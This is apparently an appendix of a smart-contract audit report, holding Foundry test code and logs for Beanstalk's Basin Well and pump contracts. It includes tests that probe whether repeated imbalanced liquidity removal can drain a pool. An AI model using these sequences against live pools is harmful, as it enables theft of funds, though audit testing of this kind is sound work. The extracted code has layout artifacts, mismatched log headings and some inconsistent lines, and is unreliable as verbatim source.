    uint256 value2 = xToken.balanceOf(alice) + 2 * yToken.balanceOf(alice);
    console.log("Total token value in $$$$: ", value2);
    if (value2 > value1) {console.log("DIF: ", value2 - value1);}
    console.log("REL_DIF: ", value2 * 1e18 / value1);

    xRemLiq(well.balanceOf(liqPr), 1, 1, liqPr);

    logTokenComplexBalances();
    console.log("LiqPr Total token value in $$$$: ", xToken.balanceOf(liqPr) + 2 * yToken.balanceOf(liqPr));
}

```



```

function testRemoveLiquidityImbalancedFuzzing(uint256 amountA, uint256 amountB) public {
    if (amountA > 0) {
        // LIQPR ADD LIQUIDITY
        amount1 = 1_000_000_000000000000000000;
        amount2 = 2_000_000_000000000000000000;
        lpAmountOut = 1;
        xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);

        // ALICE DO THE SWAP
        uint256 swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountA / 2, 1, alice);

        // ALICE RETURN INITIAL STATE
        xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), swap, 1, alice);

        // ALICE DO ADD LIQ
        maxAmountIn = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);

        uint256 amountOutA = amountA/2;
        //uint256[2] memory reserves = [amount1 + amountIn, 0];
        uint256 reserveWells = ((well.totalSupply() / 2) ** 2) / 1e18;
        uint256 reserveB = amount2 + amountB;
        uint256 amountOutB = MyMath.roundedDiv(reserveWells, reserveB);

        tokenAmountsOut.push(amountOutA);
        tokenAmountsOut.push(amountOutB);

        well.removeLiquidityImbalanced(maxAmountIn, tokenAmountsOut, alice);

        //maxAmountIn = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);
        //console.log("Amount in: ",maxAmountIn);
    }
}

1153 function testRemoveLiquidityImbalancedVsSwap() public {
1154     amount1 = 1_000_000_000000000000000000;
1155     amount2 = 2_000_000_000000000000000000;
1156     lpAmountOut = 1;
1157     xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);
1158
1159     uint256 priceOfYInX = amount1/amount2;
1160     uint256 value = xToken.balanceOf(alice) + yToken.balanceOf(alice) * priceOfYInX;
1161     console.log("Value of X, Y, W in X", value);
1162
1163     // ALICE DO THE SWAP
1164     uint256 amountIn = 500_000000000000000000;
1165     uint256 swap = xSwapFrom(IERC20(xTokenAdd), IERC20(yTokenAdd), amountIn, 1, alice);
1166
1167     priceOfYInX = (amount1 + amountIn) / (amount2 - amountIn);
1168     value = xToken.balanceOf(alice) + yToken.balanceOf(alice) * priceOfYInX;
1169     console.log("Value of X, Y in X", value);
1170
1171     /// 1000000000000000000000000000
1172     /// 950000000000000000000000000
1173
1174     // ALICE RETURN INITIAL STATE
1175     xSwapFrom(IERC20(yTokenAdd), IERC20(xTokenAdd), swap, 1, alice);
1176
1177     // ALICE DO ADD LIQ
1178     uint256 amountA = amountIn * 2;
1179     uint256 amountB = amountA * 2;
1180     maxAmountIn = xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);
1181
1182     uint256 amountOutA = amountIn;
1183     uint256 amountOutB = swap;
1184     amountOutB = swap + 1;
1185     tokenAmountsOut.push(amountOutA);
1186     tokenAmountsOut.push(amountOutB);
1187     console.log("Amount Out A", amountOutA);
1188     console.log("Amount Out B", amountOutB);
1189
1190     vm.prank(alice);
1191     well.removeLiquidityImbalanced(maxAmountIn, tokenAmountsOut, alice);
1192     xRemLiq(well.balanceOf(alice), 1, 1, address(alice));
1193
1194     priceOfYInX = (amount1 + amountIn) / (amount2 - amountIn);
1195     value = xToken.balanceOf(alice) + yToken.balanceOf(alice) * priceOfYInX;
1196     console.log("Value of X, Y in X", value);
1197
1198     logTokenComplexBalances();
1199 }

```



```

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1329

function testDrainPool4RemoveImbalance() public {
    amount1 = 10000;
    amount2 = 20000;
    lpAmountOut = 1;
    xAddLiq(address(liqPr), xTokenAdd, yTokenAdd, amount1, amount2, lpAmountOut);

    // ADD LIQ
    uint256 amountA = 100;
    uint256 amountB = 200;
    xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);

    // RMV IMB
    tokenAmountsOut.push(50);
    tokenAmountsOut.push(299);
    logTokenComplexBalances();
    uint256 wellBalance = well.balanceOf(alice);
    vm.prank(alice);
    well.removeLiquidityImbalanced(wellBalance, tokenAmountsOut, alice);

    // ADD LIQ
    amountA = 50;
    amountB = 299;
    xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);

    // RMV IMB
    tokenAmountsOut.push(100);
    tokenAmountsOut.push(199);
    logTokenComplexBalances();
    wellBalance = well.balanceOf(alice);
    vm.prank(alice);
    well.removeLiquidityImbalanced(wellBalance, tokenAmountsOut, alice);

    /// 2
    console.log("2222222222");

    // ADD LIQ
    amountA = 100;
    amountB = 200;
    xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);

    // RMV IMB
    tokenAmountsOut.push(50);
    tokenAmountsOut.push(299);
    logTokenComplexBalances();
    wellBalance = well.balanceOf(alice);
    vm.prank(alice);
    well.removeLiquidityImbalanced(wellBalance, tokenAmountsOut, alice);

    // ADD LIQ
    amountA = 50;
    amountB = 299;
    xAddLiq(address(alice), xTokenAdd, yTokenAdd, amountA, amountB, lpAmountOut);

    // RMV IMB
    tokenAmountsOut.push(100);
    tokenAmountsOut.push(199);
    logTokenComplexBalances();
    wellBalance = well.balanceOf(alice);
    vm.prank(alice);
    well.removeLiquidityImbalanced(wellBalance, tokenAmountsOut, alice);

    console.log("3333333333");

    /// 3
    xRemLiq(well.balanceOf(liqPr), 1, 1, address(liqPr));
    logTokenComplexBalances();
}

```

5.3 Pumps Environment

Two files have been developed to carry out the manual and fuzzing tests, one dedicated to analyze some functions atomically `HalbornPumpsIsolated`, and the other to carry out tests that involve integration with the Basin `HalbornPumpsWellsIntegration`.

Deployment Script:

```

1 // SPDX-License-Identifier: MIT
2 pragma solidity ^0.8.17;
3
4 import {Test, console, stdError} from "forge-std/Test.sol";
5 import {Well, call, IERC20} from "src/Well.sol";
6 import {Aquifer} from "src/Aquifer.sol";
7 import {ConstantProduct2} from "src/functions/ConstantProduct2.sol";
8 import {IWellFunction} from "src/interfaces/IWellFunction.sol";
9 import {GeoEmaAndCumSmaPump} from "src/pumps/GeoEmaAndCumSmaPump.sol";
10 import {LibContractInfo} from "src/libraries/LibContractInfo.sol";
11 import {Users} from "test/helpers/Users.sol";
12 import {TestHelper, Balances} from "test/TestHelper.sol";
13 import {from18, to18} from "test/pumps/PumpHelpers.sol";
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

```

```

UnitTest stub | dependencies | uml | draw.io
contract HalbornPumpWellsIntegration is TestHelper {
  using LibContractInfo for address;

  address xToken;
  address yToken;

  address internal userTest1;

  uint[] internal reservesTest1;
  uint[] internal reservesTest2;

  address internal wellAddress;

  uint[] internal lastRes;
  uint[] internal lastInstRes;
  uint[] internal instRes;
  bytes16[] internal lastCumRes;
  bytes16[] internal cumRes;

  uint constant TIME_PER_BLOCK = 12;

  GeoEmaAndCumSmaPump internal thePump;
  bytes internal pumpData;

```

```

39   ftrace | funcSig
40   function setUp() public {
41       userTest1 = vm.addr(0xAA);
42
43       tokens = deployMockTokens(2);
44       xToken = address(tokens[0]);
45       xToken = address(tokens[1]);
46
47       wellImplementation = address(new Well());
48
49       well = t_setupWell(tokens, Well(wellImplementation));
50
51       wellAddress = address(well);
52
53
54       Call memory _pump = well.firstPump();
55
56
57       thePump = GeoEmaAndCumSmaPump(_pump.target);
58       pumpData = _pump.data;
59
60       uint[] memory reserves = thePump.readLastReserves(address(well));
61   }
62
63 pragma solidity ^0.8.17;
64 import {Test} from "forge-std/Test.sol";
65 import {GeoEmaAndCumSmaPump, ABDKMathQuad, LibBytes16, LibLastReserveBytes} from "src/pumps/GeoEmaAndCumSmaPump.sol";
66 import "./pumps/PumpHelpers.sol";
67 UnitTest stub | dependencies | uml | draw.io
68
69 contract HalbornPumpIsolated is Test, GeoEmaAndCumSmaPump {
70     using ABDKMathQuad for bytes16;
71     uint[] internal reservesTest1;
72     uint[] internal reservesTest2;
73     address internal well;
74     address internal collision1;
75     address internal collision2;
76     GeoEmaAndCumSmaPump internal pump;
77     uint constant NUM_RESERVES_MAX = 8;
78     bytes32 constant RESERVES_STORAGE_SLOT = keccak256("reserves.storage.slot");
79     ftrace
80     constructor()
81     {
82         GeoEmaAndCumSmaPump(
83             from18(0.5e18), // cap reserves if changed +/- 50% per block
84             from18(0.5e18), // cap reserves if changed +/- 50% per block
85             12, // EVM block time
86             from18(0.9994445987e18) // geometric EMA constant
87         )
88     }
89     {}
90     ftrace | funcSig
91     function setUp() public {
92         well = vm.addr(0xAA);
93         collision1 = address(0x0000000000000000000000000000000000000000000000000000000000000000);
94         collision2 = address(0xF000000000000000000000000000000000000000000000000000000000000000);
95
96         pump = GeoEmaAndCumSmaPump(address(this));
97         for (uint i = 1; i <= 1000; ++i) {
98             reservesTest1.push(21e18);
99         }
100        reservesTest2.push(10e18);
101        reservesTest2.push(11e18);
102    }
103 }

```

Helper Functions:

For the helper functions, both custom functions along with those developed by the Beanstalk developers themselves have been used.

```

1324 // -----
1325 // ##### HELPER FUNCTIONS #####
1326 // -----
1327
1328 ftrace | funcSig
1329 function t_setupWell(IERC20[] memory _tokens↑, Well _well↑) internal returns (Well) {
1330     Call[] memory _pumps = new Call[](1);
1331     _pumps[0] = Call(
1332         address(new GeoEmaAndCumSmaPump(from18(0.5e18), from18(0.5e18), 12, from18(0.9994445987e18))),
1333         new bytes(0)
1334     );
1335     return SetupWell(_tokens↑, Call(address(new ConstantProduct2()), new bytes(0)), _pumps, _well↑);
1336 }
1337
1338 ftrace | funcSig
1339 function setupWell(
1340     IERC20[] memory _tokens↑,
1341     Call memory _function↑,
1342     Call[] memory _pumps↑,
1343     Well _well↑
1344 ) internal returns (Well) {
1345     wellFunction = _function↑;
1346     initUser();
1347
1348     wellImplementation = deployWellImplementation();
1349     aquifer = new Aquifer();
1350
1351     _well↑ = encodeAndBoreWell(address(aquifer), wellImplementation, _tokens↑, wellFunction, _pumps↑, bytes32(0));
1352
1353     // Mint mock tokens to user
1354     mintTokens(_tokens↑, user, initialLiquidity);
1355     mintTokens(_tokens↑, user2, initialLiquidity);
1356
1357     approveMaxTokens(_tokens↑, user, address(_well↑));
1358     approveMaxTokens(_tokens↑, user2, address(_well↑));
1359
1360     // Mint mock tokens to TestHelper
1361     mintTokens(_tokens↑, address(this), initialLiquidity * 5);
1362     approveMaxTokens(_tokens↑, address(this), address(_well↑));
1363
1364     // Add initial liquidity from TestHelper
1365     addLiquidityEqualAmount(_tokens↑, address(this), initialLiquidity, Well(_well↑));
1366
1367     return _well↑;
1368 }

```

5.4 Significant Manual Tests for Pumps

```
194 function testReadLastReservesChangingUpNDownN() public {
195     vm.startPrank(wellAddress);
196
197     reservesTest1.push(1e18);
198     reservesTest1.push(1e18);
199
200     vm.warp(block.timestamp + 10);
201     thePump.update(reservesTest1, pumpData);
202     lastRes = thePump.readLastReserves(wellAddress);
203
204     _consoleLogReserves(2, true, false, false, false, false);
205
206     reservesTest1[0] = 2e18;
207     reservesTest1[1] = 2e18;
208
209     vm.warp(block.timestamp + 1000);
210     thePump.update(reservesTest1, pumpData);
211     lastRes = thePump.readLastReserves(wellAddress);
212
213     _consoleLogReserves(2, true, false, false, false, false);
214
215     reservesTest1[0] = 3e18;
216     reservesTest1[1] = 3e18;
217
218     vm.warp(block.timestamp + 1000);
219     thePump.update(reservesTest1, pumpData);
220     lastRes = thePump.readLastReserves(wellAddress);
221
222     _consoleLogReserves(2, true, false, false, false, false);
223
224     reservesTest1[0] = 3e18;
225     reservesTest1[1] = 3e18;
226
227     vm.warp(block.timestamp + 1000);
228     console.log("10 DAYS LATER");
229     thePump.update(reservesTest1, pumpData);
230     lastRes = thePump.readLastReserves(wellAddress);
231
232     _consoleLogReserves(2, true, false, false, false, false);
233
234     reservesTest1[0] = 444e10;
235     reservesTest1[1] = 444e10;
236
237     vm.warp(block.timestamp + 1000);
238     thePump.update(reservesTest1, pumpData);
239     lastRes = thePump.readLastReserves(wellAddress);
240
241     _consoleLogReserves(2, true, false, false, false, false);
242
243     vm.stopPrank();
244 }
```

```
[PASS] testReadLastReservesChangingUpNDownN() (gas: 599801)
Logs:
```

```
-----
LAST RESERVES      1
LAST RESERVES      1
-----
LAST RESERVES      412643018438003
LAST RESERVES      412643018438003
-----
LAST RESERVES      2999999999999999999
LAST RESERVES      2999999999999999999
-----
10 DAYS LATER
-----
LAST RESERVES      2999999999999999999
LAST RESERVES      2999999999999999999
-----
LAST RESERVES      4439999999999
LAST RESERVES      4439999999999
-----
```

```

246 | // READ LAST RESERVES IN INITIAL STAGES (CAPPING)
      | ftrace | funcSig
247 | function testReadLastReservesInitialStages() public {
248 |     vm.startPrank(wellAddress);
249 |
250 |     reservesTest1.push(1e18);
251 |     reservesTest1.push(1e18);
252 |
253 |     vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
254 |     thePump.update(reservesTest1, pumpData);
255 |     lastRes = thePump.readLastReserves(wellAddress);
256 |
257 |     _consoleLogReserves(2, true, false, false, false, false);
258 |
259 |     reservesTest1[0] = 2e18;
260 |     reservesTest1[1] = 2e18;
261 |
262 |     vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
263 |     thePump.update(reservesTest1, pumpData);
264 |     lastRes = thePump.readLastReserves(wellAddress);
265 |
266 |     _consoleLogReserves(2, true, false, false, false, false);
267 |
268 |     reservesTest1[0] = 3e18;
269 |     reservesTest1[1] = 3e18;
270 |
271 |     vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
272 |     thePump.update(reservesTest1, pumpData);
273 |     lastRes = thePump.readLastReserves(wellAddress);
274 |
275 |     _consoleLogReserves(2, true, false, false, false, false);
276 |
277 |     reservesTest1[0] = 3e18;
278 |     reservesTest1[1] = 3e18;
279 |
280 |     vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
281 |     thePump.update(reservesTest1, pumpData);
282 |     lastRes = thePump.readLastReserves(wellAddress);
283 |
284 |     _consoleLogReserves(2, true, false, false, false, false);
285 |
286 |     vm.stopPrank();
287 | }

```

[PASS] testReadLastReservesInitialStages() (gas: 518588)

Logs:

```

-----
LAST RESERVES      57
LAST RESERVES      57
-----
LAST RESERVES      3325
LAST RESERVES      3325
-----
LAST RESERVES      191751
LAST RESERVES      191751
-----
LAST RESERVES      11057332
LAST RESERVES      11057332
-----

```

```

1070 function testReadLastCumulativeReservesSimple() public {
1071     uint x = 10e18;
1072     uint y = 2e18;
1073
1074     vm.startPrank(wellAddress);
1075
1076     reservesTest1.push(1e18);
1077     reservesTest1.push(1e18);
1078
1079     vm.warp(block.timestamp);
1080
1081     thePump.update(reservesTest1, pumpData);
1082
1083     lastRes = thePump.readLastReserves(wellAddress);
1084     lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
1085     instRes = thePump.readInstantaneousReserves(wellAddress);
1086     lastCumRes = thePump.readLastCumulativeReserves(wellAddress);
1087
1088
1089     console.log("-----");
1090     console.log("LAST RESERVES      ", lastRes[0]);
1091     console.log("LAST RESERVES      ", lastRes[1]);
1092     console.log("LAST INST RESERVES ", lastInstRes[0]);
1093     console.log("LAST INST RESERVES ", lastInstRes[1]);
1094     console.log("INST RESERVES      ", instRes[0]);
1095     console.log("INST RESERVES      ", instRes[1]);
1096     console.log(uint128(lastCumRes[0]));
1097     console.log(uint128(lastCumRes[1]));
1098     console.log("-----");
1099
1100     reservesTest1[0] = 2e18;
1101     reservesTest1[1] = 2e18;
1102
1103     vm.warp(block.timestamp + 10 days);
1104
1105     thePump.update(reservesTest1, pumpData);
1106
1107     lastRes = thePump.readLastReserves(wellAddress);
1108     lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
1109     instRes = thePump.readInstantaneousReserves(wellAddress);
1110     lastCumRes = thePump.readLastCumulativeReserves(wellAddress);

```

```

1111
1112
1113 console.log("-----");
1114 console.log("LAST RESERVES ", lastRes[0]);
1115 console.log("LAST RESERVES ", lastRes[1]);
1116 console.log("LAST INST RESERVES ", lastInstRes[0]);
1117 console.log("LAST INST RESERVES ", lastInstRes[1]);
1118 console.log("INST RESERVES ", instRes[0]);
1119 console.log("INST RESERVES ", instRes[1]);
1120 console.log(uint128(lastCumRes[0]));
1121 console.log(uint128(lastCumRes[1]));
1122 console.log("-----");
1123
1124 reservesTest1[0] = 3e18;
1125 reservesTest1[1] = 3e18;
1126
1127 vm.warp(block.timestamp + 1000 days);
1128
1129 thePump.update(reservesTest1, pumpData);
1130
1131 lastRes = thePump.readLastReserves(wellAddress);
1132 lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
1133 instRes = thePump.readInstantaneousReserves(wellAddress);
1134 lastCumRes = thePump.readLastCumulativeReserves(wellAddress);
1135
1136 console.log("-----");
1137 console.log("LAST RESERVES ", lastRes[0]);
1138 console.log("LAST RESERVES ", lastRes[1]);
1139 console.log("LAST INST RESERVES ", lastInstRes[0]);
1140 console.log("LAST INST RESERVES ", lastInstRes[1]);
1141 console.log("INST RESERVES ", instRes[0]);
1142 console.log("INST RESERVES ", instRes[1]);
1143 console.log(uint128(lastCumRes[0]));
1144 console.log(uint128(lastCumRes[1]));
1145 console.log("-----");
1146
1147 reservesTest1[0] = 3e18;
1148 reservesTest1[1] = 3e18;
1149
1150 vm.warp(block.timestamp + 100 days);
1151
1152 thePump.update(reservesTest1, pumpData);
1153
1154 lastRes = thePump.readLastReserves(wellAddress);
1155 lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
1156 instRes = thePump.readInstantaneousReserves(wellAddress);
1157 lastCumRes = thePump.readLastCumulativeReserves(wellAddress);
1158
1159 console.log("-----");
1160 console.log("LAST RESERVES ", lastRes[0]);
1161 console.log("LAST RESERVES ", lastRes[1]);
1162 console.log("LAST INST RESERVES ", lastInstRes[0]);
1163 console.log("LAST INST RESERVES ", lastInstRes[1]);
1164 console.log("INST RESERVES ", instRes[0]);
1165 console.log("INST RESERVES ", instRes[1]);
1166 console.log(uint128(lastCumRes[0]));
1167 console.log(uint128(lastCumRes[1]));
1168 console.log("-----");
1169
1170 vm.stopPrank();

```


[PASS] testReadLastCumulativeReservesSimple() (gas: 1030902)

Logs:

```
-----
LAST RESERVES      1
LAST RESERVES      1
LAST INST RESERVES 1
LAST INST RESERVES 1
INST RESERVES      1
INST RESERVES      1
0
0
-----
```

```
-----
LAST RESERVES      19999999999999999999
LAST RESERVES      19999999999999999999
LAST INST RESERVES 19999999999999999999
LAST INST RESERVES 19999999999999999999
INST RESERVES      19999999999999999999
INST RESERVES      19999999999999999999
8519814265962143730057717115026094442
8519814265962143730057717115026094442
-----
```

```
-----
LAST RESERVES      29999999999999999999
LAST RESERVES      29999999999999999999
LAST INST RESERVES 29999999999999999999
LAST INST RESERVES 29999999999999999999
INST RESERVES      29999999999999999999
INST RESERVES      29999999999999999999
85232835316220934448653842735933390182
85232835316220934448653842735933390182
-----
```

```
-----
LAST RESERVES      29999999999999999999
LAST RESERVES      29999999999999999999
LAST INST RESERVES 29999999999999999999
LAST INST RESERVES 29999999999999999999
INST RESERVES      29999999999999999999
INST RESERVES      29999999999999999999
85233476434164555396839303253618682392
85233476434164555396839303253618682392
-----
```

```
101 function test_2storeAndReadBytes16() public {
102     bytes16[] memory reserves = new bytes16[](2);
103
104     reserves[0] = 0x0000000000000000000000000000000000000000123;
105     reserves[1] = 0x0000000000000000000000000000000000000000456;
106
107     LibBytes16.storeBytes16(RESERVES_STORAGE_SLOT, reserves);
108     bytes32 slot = RESERVES_STORAGE_SLOT;
109     bytes32 test;
110     assembly {
111         test := sload(slot)
112     }
113     console.logBytes32(test);
114     assembly {
115         test := sload(add(slot, 32))
116     }
117     console.logBytes32(test);
118     // Re-read reserves and compare
119     bytes16[] memory reserves2 = LibBytes16.readBytes16(RESERVES_STORAGE_SLOT, reserves.length);
120     for (uint i = 0; i < reserves2.length; i++) {
121         console.log(i);
122         console.logBytes32(reserves[i]);
123         console.logBytes32(reserves2[i]);
124         assertEq(reserves2[i], reserves[i], "ByteStorage: reserves mismatch");
125     }
126 }
```

[PASS] test_3storeAndReadBytes16() (gas: 57750)

Logs:

```
0x00000000000000000000000000000000000000001230000000000000000000000000000456
0x0000000000000000000000000000000000000000789000000000000000000000000000000000
0
0x0000000000000000000000000000000000000000123000000000000000000000000000000000
0x0000000000000000000000000000000000000000123000000000000000000000000000000000
1
0x0000000000000000000000000000000000000000456000000000000000000000000000000000
0x0000000000000000000000000000000000000000456000000000000000000000000000000000
2
0x0000000000000000000000000000000000000000789000000000000000000000000000000000
0x0000000000000000000000000000000000000000789000000000000000000000000000000000
```

```

127     function test_3storeAndReadBytes16() public {
128         bytes16[] memory reserves = new bytes16[](3);
129
130         reserves[0] = 0x000000000000000000000000000000000000123;
131         reserves[1] = 0x000000000000000000000000000000000000456;
132         reserves[2] = 0x000000000000000000000000000000000000789;
133
134         LibBytes16.storeBytes16(RESERVES_STORAGE_SLOT, reserves);
135         bytes32 slot = RESERVES_STORAGE_SLOT;
136         bytes32 test;
137         assembly {
138             test := sload(slot)
139         }
140         console.logBytes32(test);
141         assembly {
142             test := sload(add(slot, 32))
143         }
144         console.logBytes32(test);
145         // Re-read reserves and compare
146         bytes16[] memory reserves2 = LibBytes16.readBytes16(RESERVES_STORAGE_SLOT, reserves.length);
147         for (uint i = 0; i < reserves2.length; i++) {
148             console.log(i);
149             console.logBytes32(reserves[i]);
150             console.logBytes32(reserves2[i]);
151             assertEq(reserves2[i], reserves[i], "ByteStorage: reserves mismatch");
152         }
153     }

```

[PASS] test_3storeAndReadBytes16() (gas: 57750)

Logs:

```

0x00000000000000000000000000000000000012300000000000000000000000000000000000456
0x00000000000000000000000000000000000078900000000000000000000000000000000000000000
0
0x00000000000000000000000000000000000012300000000000000000000000000000000000000000
0x00000000000000000000000000000000000012300000000000000000000000000000000000000000
1
0x00000000000000000000000000000000000045600000000000000000000000000000000000000000
0x00000000000000000000000000000000000045600000000000000000000000000000000000000000
2
0x00000000000000000000000000000000000078900000000000000000000000000000000000000000
0x00000000000000000000000000000000000078900000000000000000000000000000000000000000

```



```

36     function testEmaFuzz_1storeAndRead(
37     ) public {
38         uint256 n = 2;
39         uint256 lastTimestamp = block.timestamp;
40         bytes16[] memory reserves = new bytes16[](2);
41
42         reserves[0] = bytes16(0x0000000000000000000000000000000000000000000000000000000000000000) << 24;
43         reserves[1] = bytes16(0x0000000000000000000000000000000000000000000000000000000000000000) << 24;
44         // reserves[i] = bytes16(_reserves[i]) << 24;
45         LibLastReserveBytes.storeLastReserves(RESERVES_STORAGE_SLOT, uint40(lastTimestamp), reserves);
46         (uint8 _n, uint40 _lastTimestamp, bytes16[] memory reserves2) = LibLastReserveBytes.readLastReserves(RESERVES_STORAGE_SLOT);
47         uint8 __n = LibLastReserveBytes.readN(RESERVES_STORAGE_SLOT);
48         assertEq(_n, n, "ByteStorage: n mismatch");
49         assertEq(_n, n, "ByteStorage: n mismatch");
50         assertEq(_lastTimestamp, lastTimestamp, "ByteStorage: lastTimestamp mismatch");
51         for (uint i = 0; i < reserves2.length; i++) {
52             console.logBytes32(reserves[i]);
53             console.logBytes32(reserves2[i]);
54             assertEq(reserves2[i], reserves[i], "ByteStorage: reserves mismatch");
55         }
56     }

```

[PASS] testEmaFuzz_1storeAndRead() (gas: 28863)

Logs:

```

0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000
0x0000000000000000000000000000000000000000000000000000000000000000

```

5.5 Significant Fuzzing Tests for Pumps

```
79     function testEmaFuzz_storeAndRead(
80         uint8 n↑,
81         uint40 lastTimestamp↑,
82         bytes13[ NUM_RESERVES_MAX ] memory _reserves↑
83     ) public {
84         vm.assume(n↑ <= NUM_RESERVES_MAX);
85         // Use the first `n` reserves. Cast uint104 reserves -> uint256
86         bytes16[] memory reserves = new bytes16[](n↑);
87         for (uint i = 0; i < n↑; i++) {
88             reserves[i] = bytes16(_reserves↑[i]) << 24;
89         }
90         LibLastReserveBytes.storeLastReserves(RESERVES_STORAGE_SLOT, lastTimestamp↑, reserves);
91         // Re-read reserves and compare
92         (uint8 _n, uint40 _lastTimestamp, bytes16[] memory reserves2) = LibLastReserveBytes.readLastReserves(RESERVES_STORAGE_SLOT);
93         uint8 __n = LibLastReserveBytes.readN(RESERVES_STORAGE_SLOT);
94         assertEq(_n, n↑, "ByteStorage: n mismatch");
95         assertEq(_n, n↑, "ByteStorage: n mismatch");
96         assertEq(_lastTimestamp, lastTimestamp↑, "ByteStorage: lastTimestamp mismatch");
97         for (uint i = 0; i < reserves2.length; i++) {
98             assertEq(reserves2[i], reserves[i], "ByteStorage: reserves mismatch");
99         }
100     }
101
102     function testFuzz_storeAndReadBytes16(uint n↑, bytes16[8] memory _reserves↑) public {
103         vm.assume(n↑ <= NUM_RESERVES_MAX);
104         // Use the first `n` reserves. Cast uint128 reserves -> uint256
105         bytes16[] memory reserves = new bytes16[](n↑);
106         for (uint i = 0; i < n↑; i++) {
107             reserves[i] = _reserves↑[i];
108         }
109         LibBytes16.storeBytes16(RESERVES_STORAGE_SLOT, reserves);
110         bytes32 slot = RESERVES_STORAGE_SLOT;
111         bytes32 test;
112         assembly {
113             test := load(slot)
114         }
115         console.logBytes32(test);
116         assembly {
117             test := load(add(slot, 32))
118         }
119         console.logBytes32(test);
120         // Re-read reserves and compare
121         bytes16[] memory reserves2 = LibBytes16.readBytes16(RESERVES_STORAGE_SLOT, n↑);
122         for (uint i = 0; i < reserves2.length; i++) {
123             console.log(i);
124             assertEq(reserves2[i], reserves[i], "ByteStorage: reserves mismatch");
125         }
126     }
127
128 }
```

```

318 // FUZZING READ LAST RESERVES CHANGING VALUES
319   trace | funcSig
320   function testReadLastReservesChangingFUZZZZ(uint x↑, uint y↑) public {
321     if (x↑ > 5 && x↑ < 100_000_000e18 && y↑ > 5 && y↑ < 100_000_000e18){
322       vm.startPrank(wellAddress);
323       reservesTest1.push(x↑);
324       reservesTest1.push(y↑);
325
326       vm.warp(block.timestamp + 10 days);
327       thePump.update(reservesTest1, pumpData);
328       lastRes = thePump.readLastReserves(wellAddress);
329
330       assertApproxEqAbs(lastRes[0], x↑, 1e6);
331       assertApproxEqAbs(lastRes[1], y↑, 1e6);
332
333       x↑ = x↑ * 2;
334       y↑ = y↑ * 5;
335
336       reservesTest1[0] = x↑;
337       reservesTest1[1] = y↑;
338
339       vm.warp(block.timestamp + 10 days);
340       thePump.update(reservesTest1, pumpData);
341       lastRes = thePump.readLastReserves(wellAddress);
342
343       assertApproxEqAbs(lastRes[0], x↑, 1e6);
344       assertApproxEqAbs(lastRes[1], y↑, 1e6);
345
346       x↑ = x↑ + 8782772;
347       y↑ = y↑ + 356173;
348
349       reservesTest1[0] = x↑;
350       reservesTest1[1] = y↑;
351
352       vm.warp(block.timestamp + 10 days);
353       thePump.update(reservesTest1, pumpData);
354       lastRes = thePump.readLastReserves(wellAddress);
355
356       assertApproxEqAbs(lastRes[0], x↑, 1e6);
357       assertApproxEqAbs(lastRes[1], y↑, 1e6);
358
359       x↑ = 1000 + y↑;
360       y↑ = 1000 + x↑;
361
362       reservesTest1[0] = x↑;
363       reservesTest1[1] = y↑;
364
365       vm.warp(block.timestamp + 10 days);
366       thePump.update(reservesTest1, pumpData);
367       lastRes = thePump.readLastReserves(wellAddress);
368
369       assertApproxEqAbs(lastRes[0], x↑, 1e6);
370       assertApproxEqAbs(lastRes[1], y↑, 1e6);
371
372       x↑ = x↑ + 300000 - y↑;
373       y↑ = y↑ + 3000 - x↑;
374
375       reservesTest1[0] = x↑;
376       reservesTest1[1] = y↑;
377
378       vm.warp(block.timestamp + 10 days);
379       thePump.update(reservesTest1, pumpData);
380       lastRes = thePump.readLastReserves(wellAddress);
381
382       assertApproxEqAbs(lastRes[0], x↑, 1e6);
383       assertApproxEqAbs(lastRes[1], y↑, 1e6);
384
385       vm.stopPrank();
386     }
387   }

```

```

737 function testReadLastInstReservesChangingFUZZZZ(uint x↑, uint y↑) public {
738     if (x↑ > 5 && x↑ < 100_000_000e18 && y↑ > 5 && y↑ < 100_000_000e18){
739         vm.startPrank(wellAddress);
740
741         reservesTest1.push(x↑);
742         reservesTest1.push(y↑);
743
744         vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
745         thePump.update(reservesTest1, pumpData);
746         lastRes = thePump.readLastReserves(wellAddress);
747         lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
748
749         uint x1 = x↑ * 2;
750         uint y1 = y↑ * 5;
751
752         reservesTest1[0] = x1;
753         reservesTest1[1] = y1;
754
755         vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
756         thePump.update(reservesTest1, pumpData);
757         lastRes = thePump.readLastReserves(wellAddress);
758         lastInstRes = thePump.readLastInstantaneousReserves(wellAddress);
759
760         _consoleLogReserves(2, true, true, false, false, false);
761
762         if (x1 > x↑) { assertGe(lastRes[0], lastInstRes[0]); }
763         else { assertGe(lastInstRes[0], lastRes[0]); }
764         if (y1 > y↑) { assertGe(lastRes[1], lastInstRes[1]); }
765         else { assertGe(lastInstRes[1], lastRes[1]); }
766
767         uint x2 = 20000;
768         uint y2 = 1000 + x↑;
769
770         reservesTest1[0] = x2;
771         reservesTest1[1] = y2;
772
773         vm.warp(block.timestamp + TIME_PER_BLOCK * 10);
774         thePump.update(reservesTest1, pumpData);
775         lastRes = thePump.readLastReserves(wellAddress);
